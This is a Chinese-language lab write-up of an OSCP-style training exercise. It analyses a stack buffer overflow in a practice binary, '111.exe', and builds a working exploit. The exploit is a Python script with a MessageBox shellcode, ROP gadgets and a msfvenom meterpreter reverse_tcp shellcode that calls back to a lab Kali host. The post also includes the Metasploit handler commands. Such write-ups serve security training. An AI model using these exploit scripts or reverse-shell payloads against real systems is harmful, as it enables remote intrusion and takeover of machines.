一道OSCP缓冲区溢出分析到利用

阅读量    30597 |   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

Start

实验环境:

win7 x86 + windbg + Ollydbg + ida + kali

(用到的工具以及文件在文章末尾的链接里)

拿到的压缩包里有三个文件

poc.py
offsec_pwk_dll.dll
111.exe

打开poc.py一看

#!/usr/bin/python

import sys, socket

if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " \n"
    sys.exit()

cmd = "OVRFLW "
junk = "\x41" * 3000
end = "\r\n"

buffer = cmd + junk + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()

简单看一下,poc主要是用了一个命令OVRFLW并传递了一个超长的字符串,大致可以认为漏洞是个栈溢出

具体分析前先做一些准备

查看一下程序本身开的保护

有点意思,保护可以说基本没开,这会大大降低利用的难度

用ida打开111.exe简单分析了一下,111.exe中调用了offsec_pwk_dll.dll

v48 = LoadLibraryA("offsec_pwk_dll.dll");
  if ( !v48 )
  {
    v0 = GetLastError();
    sub_40391D("Loading DLL failed, make sure you copy the DLL in the same folder as the binary: %d\n", v0);
    return 1;
  }

  }

简单的做了一下前期工作,准备直接触发崩溃跟着一步一步分析

 

漏洞触发

把三个文件拖进win7 x86虚拟机中,先用windbg打开111.exe运行

然后运行poc

$ python poc.py 192.168.91.136

这里的ip是我win7虚拟机的ip,用ipconfig命令可查看

运行poc,程序崩溃

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001bf3bc ebx=7ffd9000 ecx=001bfe00 edx=00000001 esi=0133cf84 edi=0133cf88
eip=41414141 esp=001bf6f0 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???

因为栈被破坏的太厉害了,k命令无法使用,查看不了栈回溯。于是根据poc中的命令OVRFLW用ida对111.exe进行逆向分析

先找到对OVRFLW命令进行处理的部分

 v35 = j__strlen("PWNME");
  if ( !j__strncmp(&MyCmd, "OVRFLW", v35) )
  {
    v49 = sub_401FAF();
    sub_402A63(&MyCmd); <-------------------------------------继续进入
    v36 = j__strlen(v49);
    v61 = send(v62, v49, v36, 0);
    if ( v61 == -1 )
    {
      v37 = WSAGetLastError();
      sub_40391D("send failed: %d\n", v37);
      closesocket(v62);
      WSACleanup();
      return 1;
    }
    v38 = j__strlen(::buf);
    v61 = send(v62, ::buf, v38, 0);

继续进入sub_402A63函数,sub_402A63函数最终调用了sub_406780函数

char *__cdecl sub_406780(char *cmd)
{
  size_t cmd_len; // eax
  char v3; // [esp+0h] [ebp-32Ch]
  void *v4; // [esp+320h] [ebp-Ch]
  char v5; // [esp+324h] [ebp-8h]
  char v6; // [esp+325h] [ebp-7h]
  char v7; // [esp+326h] [ebp-6h]
  char v8; // [esp+327h] [ebp-5h]
  unsigned int i; // [esp+328h] [ebp-4h]

  v5 = '.';
  v6 = -108;
  v7 = 63;
  v8 = -64;
  for ( i = 0; i <= 4; ++i )
  {
    cmd_len = j__strlen(cmd);
    v4 = sub_40359E((int)cmd, *(&v5 + i), cmd_len);
    if ( v4 )
      j__memset(v4, 176, 2u);
  }
  return j__strcpy(&v3, cmd); <--------------------栈溢出
}

我们可以很明显的看到此函数中存在一个栈溢出,函数利用j__strcpy函数将cmd的复制进v3中,j__strcpy函数实际上是strcpy函数,这个函数以’x00’字符判断字符串结尾,所以如果这里cmd是个很长的字符串,长到可以越过v3覆盖函数返回地址,造成栈溢出

漏洞利用

弹个对话框

既然知道了漏洞原理,那么我们尝试利用这个漏洞弹个对话框

先利用pwntools的cyclic找出返回地址具体偏移

$ cyclic 3000  #生成3000个字符
$ cyclic -l 0x56415862  #根据奔溃时的地址信息找到偏移

找到返回地址偏移为809

修改poc

cmd = "OVRFLW "
junk = '\x90'*809 + 'b'*4
end = "\r\n"
buffer = cmd + junk + end

根据上边的保护机制开启情况,111.exe本身是地址随机化的,我们不方便从111.exe里面找rop所需要的gadgets,所以我们可以去offsec_pwk_dll.dll或者其他没有开启地址随机化的模块中寻找rop所需要的gadgets。目标确定了,那么我们需要什么gadgets呢?

又根据崩溃时各个寄存器的值情况(如下图):

(a5c.d48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0029f12c ebx=7ffd4000 ecx=0029f92c edx=00000a0d esi=011ecf84 edi=011ecf88
eip=62626262 esp=0029f460 ebp=61616161 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
62626262 ??              ???
0:000> dd eax
0029f12c  4652564f 6120574c 61616161 61616161
0029f13c  61616161 61616161 61616161 61616161
0029f14c  61616161 61616161 61616161 61616161
0029f15c  61616161 61616161 61616161 61616161
0029f16c  61616161 61616161 61616161 61616161
0029f17c  61616161 61616161 61616161 61616161
0029f18c  61616161 61616161 61616161 61616161
0029f19c  61616161 61616161 61616161 61616161

可以看到eax中值在奔溃时是指向栈中的,并且我们可以看到,它的值在我们输入的字符串前面一点点
我们可以找寻类似jmp/call eax的指令让返回地址返回到栈中,然后在栈中布置shellcode,那么就可以执行shellcode

好,思路有了,我们开始寻找可用的gadgets,这里还有一点需要注意,gadgets的地址不能包含’x00’字符,因为会因为strcpy函数的关系截断

最终找到找到一条可用指令

JMP EAX at 0x7ffd141b

更新我们的poc

junk = '\x90'*100
junc += shellcode
junk = junk.ljust(809,'\x90')

ret = '\x1B\x14\xFD\x7F'

end = "\r\n"

buffer = cmd + junk + ret + end

但从我们上边崩溃时eax指向的值可以看到,它指向了我们控制的栈前边一点点

0:000> dd eax
0029f12c  4652564f 6120574c 61616161 61616161

这会导致我们的shellcode执行失败,所以我们需要找到一个add eax,1;ret或者inc eax;ret类似的让eax值变大的指令

找到符合要求的指令地址0x776768f7

776768F7    40              inc eax
776768F8    C3              retn

更新我们的poc

junk = 'x90'*(809 - len(shellcode))
junk += shellcode

ret = 'xf7x68x67x77'*7

ret += 'x1Bx14xFDx7F'

end = "rn"

好,所需要的gadgets都找到了,现在我们可以执行任意shellcode,这里选择一个弹窗口的shellcode,shellcode的编写思路:可以先用C代码写出我们要的功能,生成可执行文件后,利用ida将对应的机器码dump下来就是一段可用的shellcode了

下边是这里用到的c代码:

#include <windows.h>

int main()

{

HINSTANCE LibHandle0,LibHandle1;

    char dllbuf0[11] = "user32.dll";

    char dllbuf1[13] = "kernel32.dll";

    LibHandle0 = LoadLibrary(dllbuf0);

    LibHandle1 = LoadLibrary(dllbuf1);

    _asm{

    xor ebx,ebx

    push ebx    // cut string 

    push 0x20206c72

    push 0x6967616e

    push 0x6f6f6d20

    push 0x6d612069 //push i am moonagirl



    mov eax,esp

    push ebx    // Type

    push eax    //

    push eax    // Text

    push ebx    // hWnd



    mov eax,0x77D507EA    // address of messageboxA

    call eax



    push ebx

    mov eax,0x7c81CAFA  //address of ExitProcess

    call eax    // FFD0

    }

}

其中messageboxA和ExitProcess的地址可以通过Ollydbg找到,先用Ollydbg附加IE浏览器进程,然后在可执行模块user32.dll里找到messageboxA函数地址

好一切准备完毕,来弹个窗口吧!

完整脚本如下:

#!/usr/bin/python

import sys, socket

if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " \n"
    sys.exit()

cmd = "OVRFLW "

shellcode = "\x33\xDB\x53\x68\x72\x6C\x20\x20\x68\x6E\x61\x67\x69\x68\x20\x6D\x6F\x6F\x68\x69\x20\x61\x6D\x8B\xC4\x53\x50\x50\x53\xB8\x99\xEA\xEB\x76\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0"

junk = '\x90'*(809 - len(shellcode))
junk += shellcode

ret = '\xf7\x68\x67\x77'*7

ret += '\x1B\x14\xFD\x7F'

end = "\r\n"

buffer = cmd + junk + ret + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()

利用成功

 

弹个shell

只弹个窗口似乎有点小儿科,那我们就弹个shell吧

这里用msf生成反弹shell的shellcode,具体命令如下:

msf > msfvenom -p windows/meterpreter/reverse_tcp --arch x86 --platform windows LHOST=192.168.91.144 LPORT=1234 -f python -b "\x00\x0a" -e x86/alpha_mixed 

这里的LHOST=192.168.91.144是我kali的ip

将生成的shellcode加入我们的poc中,更新poc

#!/usr/bin/python

import sys, socket

if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " \n"
    sys.exit()

cmd = "OVRFLW "

buf =  ""
buf += "\x89\xe0\xdb\xd5\xd9\x70\xf4\x58\x50\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x39\x78\x6f"
buf += "\x72\x75\x50\x63\x30\x57\x70\x31\x70\x6d\x59\x78\x65"
buf += "\x56\x51\x69\x50\x75\x34\x4e\x6b\x56\x30\x56\x50\x4e"
buf += "\x6b\x70\x52\x54\x4c\x4c\x4b\x42\x72\x52\x34\x4e\x6b"
buf += "\x63\x42\x74\x68\x56\x6f\x6f\x47\x71\x5a\x74\x66\x34"
buf += "\x71\x6b\x4f\x6e\x4c\x47\x4c\x73\x51\x73\x4c\x44\x42"
buf += "\x76\x4c\x71\x30\x6b\x71\x4a\x6f\x46\x6d\x47\x71\x68"
buf += "\x47\x58\x62\x6b\x42\x56\x32\x53\x67\x6e\x6b\x71\x42"
buf += "\x54\x50\x6e\x6b\x63\x7a\x57\x4c\x4c\x4b\x32\x6c\x72"
buf += "\x31\x30\x78\x39\x73\x30\x48\x45\x51\x58\x51\x36\x31"
buf += "\x4c\x4b\x33\x69\x75\x70\x33\x31\x6a\x73\x4c\x4b\x52"
buf += "\x69\x67\x68\x78\x63\x65\x6a\x33\x79\x6c\x4b\x50\x34"
buf += "\x6e\x6b\x47\x71\x5a\x76\x46\x51\x39\x6f\x6e\x4c\x4a"
buf += "\x61\x68\x4f\x54\x4d\x47\x71\x78\x47\x34\x78\x79\x70"
buf += "\x50\x75\x79\x66\x44\x43\x53\x4d\x48\x78\x65\x6b\x61"
buf += "\x6d\x51\x34\x53\x45\x48\x64\x63\x68\x6c\x4b\x30\x58"
buf += "\x77\x54\x77\x71\x59\x43\x51\x76\x6e\x6b\x44\x4c\x52"
buf += "\x6b\x4c\x4b\x51\x48\x35\x4c\x55\x51\x4a\x73\x4e\x6b"
buf += "\x73\x34\x4e\x6b\x77\x71\x38\x50\x4d\x59\x52\x64\x34"
buf += "\x64\x54\x64\x73\x6b\x43\x6b\x53\x51\x46\x39\x72\x7a"
buf += "\x62\x71\x39\x6f\x79\x70\x63\x6f\x43\x6f\x72\x7a\x6c"
buf += "\x4b\x44\x52\x68\x6b\x6e\x6d\x61\x4d\x55\x38\x65\x63"
buf += "\x57\x42\x77\x70\x47\x70\x63\x58\x50\x77\x52\x53\x50"
buf += "\x32\x31\x4f\x61\x44\x63\x58\x52\x6c\x30\x77\x61\x36"
buf += "\x55\x57\x39\x6f\x49\x45\x38\x38\x4c\x50\x75\x51\x47"
buf += "\x70\x43\x30\x51\x39\x58\x44\x62\x74\x76\x30\x51\x78"
buf += "\x44\x69\x4f\x70\x32\x4b\x47\x70\x79\x6f\x68\x55\x50"
buf += "\x6a\x76\x6a\x33\x58\x49\x50\x6d\x78\x73\x6b\x4a\x30"
buf += "\x51\x78\x47\x72\x55\x50\x45\x54\x4a\x72\x4e\x69\x6b"
buf += "\x56\x50\x50\x62\x70\x36\x30\x50\x50\x57\x30\x50\x50"
buf += "\x51\x50\x72\x70\x43\x58\x79\x7a\x46\x6f\x49\x4f\x6d"
buf += "\x30\x69\x6f\x6e\x35\x6e\x77\x62\x4a\x32\x30\x66\x36"
buf += "\x72\x77\x61\x78\x4e\x79\x4c\x65\x30\x74\x61\x71\x59"
buf += "\x6f\x79\x45\x6f\x75\x79\x50\x62\x54\x34\x4a\x59\x6f"
buf += "\x62\x6e\x54\x48\x31\x65\x58\x6c\x5a\x48\x75\x31\x77"
buf += "\x70\x37\x70\x45\x50\x70\x6a\x77\x70\x53\x5a\x76\x64"
buf += "\x66\x36\x62\x77\x35\x38\x47\x72\x58\x59\x6a\x68\x73"
buf += "\x6f\x6b\x4f\x5a\x75\x4b\x33\x5a\x58\x77\x70\x61\x6e"
buf += "\x45\x66\x4c\x4b\x34\x76\x33\x5a\x51\x50\x42\x48\x77"
buf += "\x70\x56\x70\x37\x70\x63\x30\x76\x36\x52\x4a\x55\x50"
buf += "\x72\x48\x42\x78\x4f\x54\x52\x73\x69\x75\x4b\x4f\x6b"
buf += "\x65\x4c\x53\x36\x33\x53\x5a\x37\x70\x42\x76\x72\x73"
buf += "\x53\x67\x30\x68\x47\x72\x4b\x69\x38\x48\x33\x6f\x4b"
buf += "\x4f\x4a\x75\x6e\x63\x4a\x58\x47\x70\x31\x6d\x65\x72"
buf += "\x62\x78\x30\x68\x73\x30\x43\x70\x65\x50\x37\x70\x73"
buf += "\x5a\x43\x30\x52\x70\x72\x48\x76\x6b\x76\x4f\x74\x4f"
buf += "\x76\x50\x59\x6f\x39\x45\x72\x77\x31\x78\x43\x45\x32"
buf += "\x4e\x42\x6d\x73\x51\x69\x6f\x79\x45\x33\x6e\x51\x4e"
buf += "\x49\x6f\x34\x4c\x35\x74\x39\x79\x34\x31\x79\x6f\x79"
buf += "\x6f\x6b\x4f\x65\x51\x48\x43\x57\x59\x59\x56\x74\x35"
buf += "\x6f\x37\x79\x53\x4d\x6b\x4c\x30\x6e\x55\x6e\x42\x52"
buf += "\x76\x50\x6a\x47\x70\x31\x43\x49\x6f\x7a\x75\x41\x41"

junk = '\x90'*(809 - len(buf))
junk += buf

ret = '\xf7\x68\x67\x77'*7

ret += '\x1B\x14\xFD\x7F'

end = "\r\n"

buffer = cmd + junk + ret + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()

在msf中执行以下指令:

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.91.144
lhost => 192.168.91.144
msf exploit(multi/handler) > set lport 1234
lport => 1234
msf exploit(multi/handler) > exploit

监听本地的1234端口

然后我们再去win7中运行poc触发漏洞并执行反弹shell的shellcode

回到kali中,可以看到我们已经拿到了win7的shell了!

 

End

总的来说并不难利用,算是重新温习了一下基础知识吧

题目文件:https://github.com/moonAgirl/Exploit/tree/master/Article/File

查看PE文件保护机制:https://github.com/NetSPI/PESecurity

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多